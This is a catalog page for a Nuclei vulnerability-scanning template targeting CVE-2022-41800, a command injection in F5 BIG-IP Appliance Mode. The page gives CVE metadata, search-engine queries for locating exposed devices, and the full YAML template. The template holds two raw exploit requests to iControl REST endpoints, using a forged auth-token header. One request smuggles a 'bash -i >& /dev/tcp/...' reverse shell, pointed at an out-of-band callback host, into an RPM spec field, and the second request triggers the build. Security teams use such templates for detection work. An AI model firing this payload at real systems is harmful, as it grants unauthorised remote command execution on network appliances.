CVE-2022-41800: F5 BIG-IP Appliance Mode - Command Injection
- Template: CVE-2022-41800
- Name: F5 BIG-IP Appliance Mode - Command Injection
- Description: When running in Appliance mode, an authenticated user assigned the Administrator role may bypass Appliance mode restrictions, utilizing an undisclosed iControl REST endpoint.
- Impact: A successful exploit can allow the attacker to execute remote commands on server using authorization bypass (CVE-2022-1388).
- Remediation: Apply security patches from F5 Networks as outlined in K97843387 and ensure Appliance mode restrictions are properly enforced.
- Severity: high
- Authors: dwisiswant0
- Tags: cve, cve2022, rce, f5, bigip, instrusive, vkev, vuln
- References: https://attackerkb.com/topics/ZClTQn4aG4/cve-2022-41800/rapid7-analysis, https://support.f5.com/csp/article/K97843387, https://support.f5.com/csp/article/K13325942, https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/, https://nvd.nist.gov/vuln/detail/cve-2022-41800
- Cves: CVE-2022-41800
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2022/CVE-2022-41800.yaml
- Digest: 490a0046304402204a5aa7311f48aa6d854d6e4ba7328c26a5d62b60911ec28b84afeaf5ce2c281402201b45cb5b8ad2c935fa8a4ea14dd77dbf614466330cc5ee7b55153675cf341a70
- Created at: 2024-12-03T09:50:36Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 721
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-41800.yaml
Classification
- Cwe: CWE-77
- Cvss score: 8.7
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
- Epss score: 0.76866
- Epss percentile: 0.99558
- Cpe: cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: body="big-ip apm", title="big-ip®-+redirect" +"server"
- Google-query: intitle:"big-ip®-+redirect" +"server"
- Max-request: 2
- Product: big-ip_access_policy_manager
- Shodan-query: http.title:"big-ip®-+redirect" +"server", http.html:"big-ip apm"
- Vendor: f5
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| f5:big-ip_access_policy_manager | yes | /v1/products/f5/big-ip_access_policy_manager |
Labels
- Name: iControl REST - Authentication Bypass
- Impact: Attackers can bypass Appliance mode restrictions, potentially gaining unauthorized access or control over the system.
- Remediation: Implement proper access controls and patch the vulnerability to restrict access to the affected endpoint.
- Vulnerability type: broken_access_control
- Vulnerability impact: privilege_escalation
- Requirement type: logged_in
- Requirements: User must be authenticated and have Administrator role
- Labels source: projectdiscovery
- From cve: CVE-2022-41800
```yaml
id: CVE-2022-41800
info:
name: F5 BIG-IP Appliance Mode - Command Injection
author: dwisiswant0
severity: high
description: |
When running in Appliance mode, an authenticated user assigned the Administrator role may bypass Appliance mode restrictions, utilizing an undisclosed iControl REST endpoint.
remediation: |
Apply security patches from F5 Networks as outlined in K97843387 and ensure Appliance mode restrictions are properly enforced.
impact: |
A successful exploit can allow the attacker to execute remote commands on server using authorization bypass (CVE-2022-1388).
reference:
- https://attackerkb.com/topics/ZClTQn4aG4/cve-2022-41800/rapid7-analysis
- https://support.f5.com/csp/article/K97843387
- https://support.f5.com/csp/article/K13325942
- https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
- https://nvd.nist.gov/vuln/detail/cve-2022-41800
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
cvss-score: 8.7
cve-id: CVE-2022-41800
cwe-id: CWE-77
epss-score: 0.76866
epss-percentile: 0.99558
cpe: cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
metadata:
max-request: 2
verified: true
vendor: f5
product: big-ip_access_policy_manager
shodan-query:
- http.title:"big-ip®-+redirect" +"server"
- http.html:"big-ip apm"
fofa-query:
- body="big-ip apm"
- title="big-ip®-+redirect" +"server"
google-query: intitle:"big-ip®-+redirect" +"server"
tags: cve,cve2022,rce,f5,bigip,instrusive,vkev,vuln
variables:
auth: "admin:{{rand_text_alpha(1)}}"
rand_app: "{{to_lower(rand_text_alpha(6))}}"
rand_ver: "{{rand_text_numeric(1)}}.{{rand_text_numeric(1)}}.{{rand_text_numeric(1)}}"
rand_rel: "{{rand_text_numeric(1)}}.{{rand_text_numeric(1)}}.{{rand_text_numeric(1)}}"
http:
- raw:
- |
POST /mgmt/shared/iapp/rpm-spec-creator HTTP/1.1
Host: {{Hostname}}
X-F5-Auth-Token: {{to_lower(rand_text_alpha(1))}}
Authorization: Basic {{base64(auth)}}
Content-Type: application/json
Connection: keep-alive, X-F5-Auth-Token, X-Forwarded-Host
{
"specFileData": {
"name": "{{rand_app}}",
"srcBasePath": "/tmp",
"version": "{{rand_ver}}",
"release": "{{rand_rel}}",
"description": "\n\n%check\nbash -i >& /dev/tcp/{{interactsh-url}}/{{rand_text_numeric(4)}} 0>&1",
"summary": "{{to_lower(rand_text_alphanumeric(10))}}"
}
}
- |
POST /mgmt/shared/iapp/build-package HTTP/1.1
Host: {{Hostname}}
X-F5-Auth-Token: {{to_lower(rand_text_alpha(1))}}
Authorization: Basic {{base64(auth)}}
Content-Type: application/json
Connection: keep-alive, X-F5-Auth-Token, X-Forwarded-Host
{
"state": {},
"appName": "{{rand_app}}",
"packageDirectory": "/tmp",
"specFilePath": "{{spec}}",
"force": true
}
extractors:
- type: json
part: body
name: spec
json:
- ".specFilePath"
internal: true
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: body
words:
- "RUN_BUILD_RPM_TASK"
- "shared:iapp:build-package:buildrpmtaskstate"
digest: 490a0046304402204a5aa7311f48aa6d854d6e4ba7328c26a5d62b60911ec28b84afeaf5ce2c281402201b45cb5b8ad2c935fa8a4ea14dd77dbf614466330cc5ee7b55153675cf341a70:922c64590222798bb761d5b6d8e72950
```